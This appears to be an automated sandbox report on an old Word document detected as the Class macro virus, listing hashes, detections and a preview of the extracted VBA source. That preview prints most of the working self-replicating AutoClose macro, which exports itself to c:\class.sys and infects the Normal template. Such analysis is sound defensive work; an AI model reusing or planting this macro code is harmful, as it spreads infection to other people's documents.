Office (OLE) malware analysis — malicious · 9ff7660ecee54af3

MALICIOUS

Office (OLE)

49.5 KB Created: 1999-07-12 16:08:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: 337eba66775facede6e92d63a6f2ac80 SHA-1: 7b05ce03e0fe1d17c4b5ee7e492cb8cd4de6eb2f SHA-256: 9ff7660ecee54af3a667697a6a4e8857edddca4c54182494513f45eba4273216

220 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample exhibits characteristics of a legacy macro-based malware, specifically triggering high severity heuristics for legacy WordBasic macro viruses and VBA macros. The AutoClose macro attempts to export its code to 'c:\class.sys', suggesting it acts as a downloader or dropper for a secondary payload. The ClamAV detections further confirm its malicious nature.

Heuristics 4

ClamAV: Doc.Trojan.Class-37 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Class-37
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS

OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code
Auto_Close macro high OLE_VBA_AUTOCLOSE

Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	12559 bytes
SHA-256: `cd079a90040b02be3126024ee5386461b75ea564879349499089b4ff0eaa26c1`
Detection ClamAV: Doc.Trojan.Class-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Sub AutoClose() 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC On Error GoTo out 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC Options.VirusProtection = True 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC Options.SaveNormalPrompt = True 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC Options.ConfirmConversions = True 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC If nt > 70 And ad > 0 Then GoTo out 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC If nt < 70 Then 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC Set host = NormalTemplate.VBProject.VBComponents.Item(1) 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC ActiveDocument.VBProject.VBComponents.Item(1).Name = host.Name 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys" 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC End If 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1) 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC If Day(Now) = 14 And Month(Now) > 5 Then MsgBox "I Think " & Application.UserName & " is a big stupid jerk!", 0, "Class.Poppy" 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC host.codemodule.AddFromFile ("c:\class.sys") 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC With host.codemodule 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC For x = 1 To 4 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC .deletelines 1 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC Next x 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC End With 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC If nt < 70 Then 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC With host.codemodule 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC .replaceline 1, "Sub AutoClose()" 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC .replaceline 91, "Sub ToolsMacro()" 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC For x = 70 To 81 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC .deletelines 62 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC Next x 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC .replaceline 35, " For x = 1 To 4" 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC End With 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC End If 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC With host.codemodule 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC For x = 2 To 104 Step 2 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC .replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC Next x 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC End With 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC out: 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC If nt > 70 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName 'Ditry PC7/12/99 5:08:14 PMHP LaserJet 4 on LPT1:DOCUMENT.DOC End Sub 'Ditry PC7/12/99 5:08:1 ... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.